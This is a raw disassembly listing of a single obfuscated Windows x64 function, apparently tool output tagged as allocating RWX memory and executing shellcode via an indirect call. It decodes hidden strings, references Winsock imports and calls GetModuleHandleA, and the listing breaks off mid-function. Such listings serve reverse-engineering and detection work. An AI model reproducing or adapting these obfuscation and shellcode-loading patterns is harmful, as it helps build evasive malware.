Function at 0x1401c5c50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0xe0
mov rdi, qword [0x14051e4d8]
xor eax, eax
mov rsi, qword [0x14051e4d0]
xorps xmm0, xmm0
movzx r8d, byte [rbp - 0x61]
mov r12, r9
movups xmmword [rbp - 0x35], xmm0
mov word [rbp - 0x25], ax
mov r13, rcx
mov byte [rbp - 0x23], al
movabs r15, 0xd8a9822347b29e15
mov dword [rbp - 0x3f], 0xe7e01114
movabs r14, 0xc5e7ace4e1a6f7b9
mov dword [rbp - 0x3b], 0xe3ecdbe6
mov word [rbp - 0x37], 0x8de2
nop word [rax + rax]
mov rax, rsi
mov r9, rdi
nop word [rax + rax]
xor ebx, ebx
cmp rbx, 0x1d
jae 0x1401c67fb
movzx r10d, byte [rbp + rbx - 0x3f]
mov r11d, r10d
cmp rax, rbx
ja 0x1401c67f2
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x1401c5d20
lea r8, [rbx + r15]
movzx ecx, r11b
and cl, r8b
add cl, cl
sub r8b, cl
add r8b, 0x6d
add r8b, r10b
jmp 0x1401c5d66
je 0x1401c6782
inc rcx
cmp rax, rcx
je 0x1401c6707
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1401c66d0
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1401c66b5
lea rcx, [r9 + 7]
cmp rax, rcx
je 0x1401c6691
lea rcx, [r9 + 8]
cmp rax, rcx
je 0x1401c6649
cmp r9, rbx
ja 0x1401c67e9
lea rdx, [r9 + 5]
cmp rax, rdx
jae 0x1401c5d90
lea rdx, [rbx + r14]
movzx ecx, r11b
and cl, dl
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0xf
jmp 0x1401c5dc0
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1401c6634
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1401c6613
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1401c65f5
cmp rax, rdx
je 0x1401c65da
lea rcx, [r9 + rax]
cmp rcx, rbx
jbe 0x1401c6334
nop dword [rax]
lea rcx, [r9 + 0x80]
cmp rax, rcx
je 0x1401c631c
lea rcx, [r9 + 0x20]
cmp rax, rcx
je 0x1401c62f8
lea rcx, [r9 + 0x64]
cmp rax, rcx
je 0x1401c62d7
lea rcx, [r9 + 0x400]
cmp rax, rcx
je 0x1401c62b7
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x1401c6295
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
je 0x1401c6276
lea rcx, [r9 + 0x7a]
cmp rax, rcx
je 0x1401c6257
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1401c6238
lea rcx, [r9 + 0x61]
cmp rax, rcx
je 0x1401c620f
lea rcx, [r9 + 0x2a]
cmp rax, rcx
je 0x1401c5dd0
lea rax, [r9 + 2]
lea r9, [rax + 4]
lea rcx, [r9 + 6]
cmp rax, rcx
jb 0x1401c67ce
lea rcx, [r9 + 1]
cmp rax, rcx
jb 0x1401c67b3
lea rcx, [r9 + 5]
cmp rax, rcx
jb 0x1401c5fc4
lea rcx, [r9 + 0xa]
cmp rax, rcx
jb 0x1401c5fa5
lea rcx, [r9 + 4]
cmp rax, rcx
jb 0x1401c5f86
lea rcx, [r9 + 9]
cmp rax, rcx
jb 0x1401c61be
lea rcx, [r9 + 0x28]
cmp rax, rcx
jb 0x1401c6172
lea rcx, [r9 + 8]
cmp rax, rcx
jb 0x1401c612b
lea rcx, [r9 + 0x20]
cmp rax, rcx
jb 0x1401c6108
lea rcx, [r9 + 0x64]
cmp rax, rcx
jb 0x1401c5dd0
lea rax, [r9 + 0x200]
lea r9, [rax + 0x10]
lea rcx, [r9 + 0x28]
cmp rax, rcx
ja 0x1401c60df
lea rcx, [r9 + 0x80]
cmp rax, rcx
ja 0x1401c60c0
lea rcx, [r9 + 0x1000]
cmp rax, rcx
ja 0x1401c60a1
lea rcx, [r9 + 0x64]
cmp rax, rcx
ja 0x1401c6082
lea rcx, [r9 + 0x400]
cmp rax, rcx
ja 0x1401c6060
lea rdx, [r9 + 0x41]
cmp rax, rdx
ja 0x1401c6040
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
ja 0x1401c601f
lea rcx, [r9 + 0x7a]
cmp rax, rcx
ja 0x1401c5ffb
lea rcx, [r9 + 1]
cmp rax, rcx
ja 0x1401c5fe3
lea rcx, [r9 + 5]
cmp rax, rcx
ja 0x1401c5dd0
mov rax, rdx
lea r9, [rdx + 0x2a]
jmp 0x1401c5dd0
lea r8d, [rbx + 0x67]
movzx ecx, r10b
and cl, r8b
movzx edx, r10b
add cl, cl
add r8b, 0x2f
sub dl, cl
add r8b, dl
jmp 0x1401c5dc0
lea r8d, [rbx + 0x3d]
movzx ecx, r10b
and cl, r8b
movzx edx, r10b
add cl, cl
add r8b, 0x55
sub dl, cl
add r8b, dl
jmp 0x1401c5d66
lea r8d, [rbx + 0x13]
movzx ecx, r10b
and cl, r8b
movzx edx, r10b
add cl, cl
add r8b, 0x7b
sub dl, cl
add r8b, dl
jmp 0x1401c5cf5
lea r8d, [rbx - 0x38]
movzx ecx, r10b
and cl, r8b
movzx r11d, bl
sub r8b, 0x78
jmp 0x1401c665c
lea edx, [rbx - 0x62]
movzx ecx, r10b
and cl, dl
inc r9
add cl, cl
dec rbx
sub r10b, cl
lea r8d, [rdx + r10]
sub r8b, 0x52
inc rbx
jmp 0x1401c5ce2
lea edx, [rbx + 0x74]
movzx ecx, r10b
and cl, dl
dec rbx
add cl, cl
sub r10b, cl
lea r8d, [rdx + r10]
sub r8b, 0x2c
inc rbx
jmp 0x1401c5ce2
lea r8d, [rbx + 0x4a]
movzx ecx, r10b
and cl, r8b
movzx edx, r10b
add cl, cl
movzx r11d, bl
sub dl, cl
sub r8b, 6
jmp 0x1401c6594
lea r8d, [rbx + 0x20]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
add dl, dl
add dl, r10b
add r8b, dl
add rax, r9
jmp 0x1401c66ee
lea r8d, [rbx - 0xa]
movzx ecx, r10b
and cl, r8b
mov edx, 0x23
sub dl, cl
add dl, dl
add dl, r10b
add r8b, dl
jmp 0x1401c66ee
lea r8d, [rbx - 0x34]
movzx ecx, r10b
and cl, r8b
mov edx, getservbyname
sub dl, cl
add dl, dl
add dl, r10b
add r8b, dl
jmp 0x1401c6725
lea r8d, [rbx - 0x5e]
movzx ecx, r10b
and cl, r8b
movzx edx, r10b
add cl, cl
sub r8b, 0x6e
sub dl, cl
add r8b, dl
jmp 0x1401c6748
lea edx, [rbx + 0x78]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
movzx ecx, byte [rbp + rbx - 0x3f]
add rcx, r9
add rbx, rcx
lea r8d, [rdx + r10]
sub r8b, 0x48
inc rbx
jmp 0x1401c5ce2
lea edx, [rbx + 0xf]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea r8d, [rdx + r10]
sub r8b, 0x69
mov byte [rbp + rbx - 0x3f], r8b
inc rbx
jmp 0x1401c5ce2
lea r8d, [rbx - 0x1b]
movzx ecx, r10b
and cl, r8b
movzx edx, r10b
add cl, cl
sub dl, cl
sub r8b, 0x43
add r8b, dl
cmp r9, 0xa
jb 0x1401c611e
movzx edx, r10b
movzx r11d, bl
movzx ecx, r10b
lea r8d, [r11 + 0x5e]
and cl, r8b
add cl, cl
sub dl, cl
add dl, r8b
lea r8d, [rdx*2 - 0x24]
jmp 0x1401c6667
lea r8d, [rbx - 0x45]
movzx ecx, r10b
and cl, r8b
movzx edx, r10b
add cl, cl
sub dl, cl
sub r8b, 0x1d
add r8b, dl
cmp rax, 0x400
jae 0x1401c6579
lea rcx, [r9 + 0x61]
cmp rax, rcx
jbe 0x1401c64aa
lea r8d, [rbx - 0x46]
movzx ecx, r10b
and cl, r8b
movzx edx, r10b
add cl, cl
sub dl, cl
sub r8b, 0x16
jmp 0x1401c6142
lea r8d, [rbx - 0x6f]
movzx ecx, r10b
and cl, r8b
movzx edx, r10b
add cl, cl
sub dl, cl
add r8b, 9
add r8b, dl
lea rcx, [r9 + rax]
cmp rcx, 4
je 0x1401c65be
lea rcx, [r9 + 6]
cmp rax, rcx
jbe 0x1401c6411
lea r8d, [rbx + 1]
movzx ecx, r10b
and cl, r8b
movzx edx, r10b
add cl, cl
sub dl, cl
sub r8b, 7
jmp 0x1401c6189
lea edx, [rbx + 0x56]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
movzx ecx, byte [rbp + rbx - 0x3f]
add rcx, r9
add rbx, rcx
lea r8d, [rdx + r10]
sub r8b, 0x5a
inc rbx
jmp 0x1401c5ce2
lea r8d, [rbx + 0x2c]
movzx ecx, r10b
and cl, r8b
movzx edx, r10b
add cl, cl
sub r8b, 0x34
sub dl, cl
add r8b, dl
jmp 0x1401c6748
lea r8d, [rbx + 2]
movzx ecx, r10b
and cl, r8b
movzx edx, r10b
add cl, cl
sub r8b, 0xe
sub dl, cl
add r8b, dl
jmp 0x1401c6725
lea r8d, [rbx - 0x28]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_inet_ntoa
sub dl, cl
add dl, dl
add dl, r10b
add r8b, dl
jmp 0x1401c66ee
lea r8d, [rbx - 0x52]
movzx ecx, r10b
and cl, r8b
mov edx, 0x1f
sub dl, cl
add dl, dl
add dl, r10b
add r8b, dl
add rax, r9
jmp 0x1401c66ee
movzx r11d, bl
movzx ecx, r10b
mov edx, gethostbyaddr
lea r8d, [r11 - 0x7c]
and cl, r8b
sub dl, cl
add dl, dl
add dl, r10b
jmp 0x1401c6594
lea edx, [rbx + 0x5a]
movzx ecx, r10b
and cl, dl
dec rbx
add cl, cl
sub r10b, cl
lea r8d, [rdx + r10]
sub r8b, 0x76
inc rbx
jmp 0x1401c5ce2
lea edx, [rbx + 0x30]
movzx ecx, r10b
and cl, dl
inc r9
add cl, cl
dec rbx
sub r10b, cl
lea r8d, [rdx + r10]
sub r8b, 0x50
inc rbx
jmp 0x1401c5ce2
movzx r11d, bl
movzx ecx, r10b
lea r8d, [r11 + 6]
and cl, r8b
sub r8b, 0x2a
jmp 0x1401c665c
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
jae 0x1401c635c
lea r8d, [rbx + 0x15]
movzx ecx, r10b
and cl, r8b
movzx edx, r10b
add cl, cl
sub dl, cl
add r8b, 0x6d
jmp 0x1401c61d5
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1401c638e
lea edx, [rbx + 0x72]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
movzx ecx, byte [rbp + rbx - 0x3f]
add rcx, r9
add rbx, rcx
lea r8d, [rdx + r10]
sub r8b, 0x1e
inc rbx
jmp 0x1401c5ce2
inc rcx
cmp rax, rcx
jne 0x1401c63b5
lea r8d, [rbx - 0x10]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_getservbyport
sub dl, cl
add dl, dl
add dl, r10b
add r8b, dl
jmp 0x1401c66ee
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1401c63e0
lea r8d, [rbx + 0x1a]
movzx ecx, r10b
and cl, r8b
mov edx, 0x25
sub dl, cl
add dl, dl
add dl, r10b
add r8b, dl
add rax, r9
jmp 0x1401c66ee
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x1401c61d8
lea edx, [rbx - 0x68]
movzx ecx, r10b
and cl, dl
inc r9
add cl, cl
dec rbx
sub r10b, cl
lea r8d, [rdx + r10]
sub r8b, 0x28
inc rbx
jmp 0x1401c5ce2
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1401c6432
movzx r11d, bl
movzx ecx, r10b
lea r8d, [r11 + 0x2b]
and cl, r8b
sub r8b, 0x2d
jmp 0x1401c665c
inc rcx
cmp rax, rcx
jne 0x1401c645b
lea edx, [rbx + 0x7f]
movzx ecx, r10b
and cl, dl
dec rbx
add cl, cl
sub r10b, cl
lea r8d, [rdx + r10]
sub r8b, 0x79
inc rbx
jmp 0x1401c5ce2
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1401c6482
lea edx, [rbx - 0x2d]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea r8d, [rdx + r10]
add r8b, 0x3b
add rax, r9
jmp 0x1401c66ee
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1401c618c
lea edx, [rbx - 3]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea r8d, [rdx + r10]
add r8b, 0x15
jmp 0x1401c66ee
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1401c64dc
lea edx, [rbx - 0x1c]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
movzx ecx, byte [rbp + rbx - 0x3f]
add rcx, r9
add rbx, rcx
lea r8d, [rdx + r10]
sub r8b, 0x3c
inc rbx
jmp 0x1401c5ce2
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1401c6504
lea r8d, [rbx + 0x62]
movzx ecx, r10b
and cl, r8b
mov edx, 0x29
sub dl, cl
add dl, dl
add dl, r10b
add r8b, dl
jmp 0x1401c66ee
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1401c652a
movzx r11d, bl
movzx ecx, r10b
mov edx, 3
lea r8d, [r11 - 0x4a]
and cl, r8b
sub dl, cl
add dl, dl
add dl, r10b
jmp 0x1401c6594
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x1401c6554
lea edx, [rbx - 0x20]
movzx ecx, r10b
and cl, dl
dec rbx
add cl, cl
sub r10b, cl
lea r8d, [rdx + r10]
sub r8b, 0x20
inc rbx
jmp 0x1401c5ce2
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x1401c6145
movzx r11d, bl
movzx ecx, r10b
lea r8d, [r11 + 0x34]
and cl, r8b
sub r8b, 0x6c
jmp 0x1401c665c
movzx edx, byte [rbp + rbx - 0x3f]
movzx r11d, bl
movzx ecx, r10b
lea r8d, [r11 - 0x78]
and cl, r8b
sub dl, cl
add dl, 0x24
add dl, dl
add r8b, dl
sub r11b, 0x63
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
sub r11b, 0x4b
add r11b, r10b
add r11b, r8b
mov byte [rbp + rbx - 0x3f], r11b
add rax, r9
jmp 0x1401c66ee
lea r8d, [rbx - 0x4e]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, cl
add dl, dl
add r8b, dl
jmp 0x1401c6725
lea edx, [rbx - 0x4b]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea r8d, [rdx + r10]
add r8b, 0xd
jmp 0x1401c66ee
lea edx, [rbx - 0x75]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea r8d, [rdx + r10]
add r8b, 0x33
add rax, r9
jmp 0x1401c66ee
lea edx, [rbx + 0x37]
movzx ecx, r10b
and cl, dl
dec rbx
add cl, cl
sub r10b, cl
lea r8d, [rdx + r10]
add r8b, 0x7f
inc rbx
jmp 0x1401c5ce2
movzx r11d, bl
movzx ecx, r10b
lea r8d, [r11 - 0x1d]
and cl, r8b
sub r8b, 0x35
jmp 0x1401c665c
movzx r11d, bl
movzx ecx, r10b
lea r8d, [r11 - 0x71]
and cl, r8b
add r8b, 0x17
add cl, cl
movzx edx, r10b
sub dl, cl
add r8b, dl
add r11b, 0x73
inc r9
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
sub r11b, 0x25
add r11b, r10b
mov byte [rbp + rbx - 0x3f], r11b
dec rbx
inc rbx
jmp 0x1401c5ce2
lea edx, [rbx + 0x65]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea r8d, [rdx + r10]
add r8b, 0x3d
inc r9
dec rbx
inc rbx
jmp 0x1401c5ce2
lea edx, [rbx - 0x19]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea r8d, [rdx + r10]
sub r8b, 0x51
add rax, r9
jmp 0x1401c66ee
movabs rcx, 0x9df5933d85478ebd
add rcx, rbx
and r11b, cl
add r11b, r11b
sub cl, r11b
lea r8d, [r10 + rcx]
sub r8b, 0x2b
movzx ecx, r8b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x1401c5ce2
movabs rcx, 0xeca28ef6f5e25293
add rcx, rbx
and r11b, cl
add r11b, r11b
sub cl, r11b
lea r8d, [r10 + rcx]
sub r8b, 5
lea edx, [rbx - 0x39]
inc r9
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
sub dl, 0x71
add dl, r10b
movzx ecx, dl
mov byte [rbp + rbx - 0x3f], cl
add rcx, r9
sub rbx, rcx
lea edx, [rbx - 0x24]
inc rax
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
mov rcx, 0xffffffffffffffff
sub rcx, rax
sub dl, 4
add dl, r10b
mov byte [rbp + rbx - 0x3f], dl
add rbx, rcx
movzx ecx, byte [rbp + rbx - 0x3f]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1401c5ce2
movabs rcx, 0x89fc8669d717da3f
add rcx, rbx
and r11b, cl
add r11b, r11b
sub cl, r11b
lea r8d, [r10 + rcx]
add r8b, 0x47
movzx ecx, byte [rbp + rbx - 0x3f]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1401c5ce2
sub bl, 0x17
movzx ecx, r10b
and cl, bl
add cl, cl
sub r10b, cl
lea r8d, [rbx + r10]
sub r8b, 0x5f
jmp 0x1401c5ce0
sub bl, 0x41
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r8d, [rbx + r10]
sub r8b, 0x39
jmp 0x1401c5cd0
lea rcx, [rbp + 0x14235dd]
jmp 0x1401c67ff
lea rcx, [rbp + 0x74d3f2]
jmp 0x1401c67ff
lea rcx, [rbp - 0x3f]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rsi, rax
test rax, rax
jne 0x1401c6821
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [r12], eax
mov eax, 0x1010000b
jmp 0x1401c752f
mov r14, qword [0x14051e4d8]
xorps xmm0, xmm0
mov r15, qword [0x14051e4d0]
movzx r11d, byte [rbp - 0x61]
movups xmmword [rbp - 0x4f], xmm0
mov dword [rbp - 0x60], 0x297d2d78
mov dword [rbp - 0x5c], 0x18281e1d
mov dword [rbp - 0x58], 0x432090a
mov dword [rbp - 0x54], 0x3f630101
mov byte [rbp - 0x50], 0xa6
nop dword [rax + rax]
mov r8, r15
mov r9, r14
nop word [rax + rax]
xor edi, edi
movabs rcx, 0xb524bfe16ea03947
cmp rdi, 0x21
jae 0x1401c7328
movzx ebx, byte [rbp + rdi - 0x60]
mov rdx, rbx
nop
cmp r8, rdi
ja 0x1401c731f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1401c68ba
lea r11, [rdi + rcx]
movzx eax, r11b
and al, dl
add al, al
sub r11b, al
add r11b, 0xf
add r11b, dl
jmp 0x1401c68f4
je 0x1401c72af
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401c7231
lea rax, [r9 + 5]
cmp r8, rax
je 0x1401c71e1
lea rax, [r9 + 2]
cmp r8, rax
je 0x1401c71c0
lea rax, [r9 + 9]
cmp r8, rax
je 0x1401c7181
cmp r9, rdi
ja 0x1401c7316
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x1401c691c
lea ecx, [rdi - 0x2d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x3b
jmp 0x1401c6950
lea rax, [r9 + 1]
cmp r8, rax
je 0x1401c7166
inc rax
cmp r8, rax
je 0x1401c7147
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401c712e
lea rax, [r9 + 7]
cmp r8, rax
je 0x1401c7115
nop
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1401c6e8c
nop dword [rax]
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1401c6e69
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1401c6e47
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1401c6e28
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1401c6e06
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1401c6ded
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1401c6dcf
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1401c6db1
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1401c6d93
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1401c6d67
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1401c6960
lea r8, [r9 + 4]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1401c72fb
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1401c72e0
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1401c6b2f
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1401c6b16
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1401c6afd
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1401c6d1d
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1401c6cd7
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1401c6c96
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1401c6c75
lea r8, [r9 + 0x64]
lea r9, [r8 + 5]
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1401c6c4e
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1401c6c30
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1401c6c12
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1401c6bf4
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1401c6bd6
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1401c6bb4
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1401c6b95
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1401c6b73
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1401c6b52
lea r8, [r9 + 1]
lea r9, [r8 + 8]
jmp 0x1401c6960
lea ecx, [rdi - 0x73]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x25
jmp 0x1401c6950
lea ecx, [rdi - 1]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 7
jmp 0x1401c68f4
lea ecx, [rdi + 0x71]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
movabs rcx, 0xb524bfe16ea03947
sub r11b, 0x17
jmp 0x1401c688b
lea edx, [rdi - 0x68]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
movzx r10d, dil
sub r11b, al
sub r11b, 0x28
add r11b, dl
jmp 0x1401c719a
lea ecx, [rdi + 0xa]
movzx eax, bl
and al, cl
inc r9
add al, al
dec rdi
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x46
inc rdi
jmp 0x1401c6872
lea ecx, [rdi + 0x7c]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x64
inc rdi
jmp 0x1401c6872
lea edx, [rdi - 0x12]
mov ecx, 0x3f
movzx eax, bl
movzx r10d, dil
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c71fa
lea edx, [rdi + 0x60]
mov ecx, gethostbyaddr
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c7215
lea edx, [rdi - 0x2e]
mov ecx, 0x21
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c7218
lea edx, [rdi + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c724f
lea edx, [rdi - 0x4a]
mov ecx, 3
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c7273
lea ecx, [rdi + 0x28]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi - 0x60]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
sub r11b, 0x18
inc rdi
jmp 0x1401c6872
lea ecx, [rdi - 0x3b]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x63
mov byte [rbp + rdi - 0x60], r11b
inc rdi
jmp 0x1401c6872
lea edx, [rdi + 0x37]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
add r11b, 0x7f
add r11b, dl
cmp r9, 0x61
jb 0x1401c6c89
movzx ecx, bl
movzx r10d, dil
movzx eax, bl
lea edx, [r10 + 0x4a]
and al, dl
add al, al
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0xc]
jmp 0x1401c719a
lea edx, [rdi - 0x57]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
add r11b, 0x61
add r11b, dl
cmp r8, 0x10
jae 0x1401c70d7
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1401c7003
lea edx, [rdi - 0x42]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x32
jmp 0x1401c6cab
lea edx, [rdi + 0x1b]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
add r11b, 0x43
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x5a
je 0x1401c70fa
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x1401c6f64
lea edx, [rdi - 0x15]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x6d
jmp 0x1401c6cec
lea edx, [rdi - 0xe]
movzx eax, bl
and al, dl
mov ecx, gethostbyaddr
sub cl, al
movzx eax, byte [rbp + rdi - 0x60]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1401c6872
lea edx, [rdi + 0x64]
mov ecx, 0x22
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c7273
lea edx, [rdi - 0x2a]
mov ecx, reloc.WS2_32.dll_send
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c724f
lea edx, [rdi + 0x48]
mov ecx, 4
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c7218
lea ecx, [rdi - 0x46]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x16
jmp 0x1401c7215
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 + 0x2c]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x34
add r11b, dl
jmp 0x1401c71fa
lea ecx, [rdi - 0x62]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x52
inc rdi
jmp 0x1401c6872
lea ecx, [rdi + 0x10]
movzx eax, bl
and al, cl
inc r9
add al, al
dec rdi
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x70
inc rdi
jmp 0x1401c6872
mov ecx, 0x39
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 0x7e]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c719a
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x1401c6eb1
lea ecx, [rdi + 0x47]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0xf
jmp 0x1401c6d35
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401c6ee6
lea edx, [rdi - 0x5a]
mov ecx, 0x3b
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 0x60]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1401c6872
inc rax
cmp r8, rax
jne 0x1401c6f07
lea ecx, [rdi + 0x50]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x1401c7218
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401c6f34
lea edx, [rdi - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1401c6872
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1401c6d35
mov ecx, reloc.WS2_32.dll_gethostbyaddr
movzx r10d, dil
movzx eax, bl
lea edx, [r10 + 0x16]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1401c719a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401c6f8f
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 + 0x79]
and al, dl
add al, al
sub r11b, al
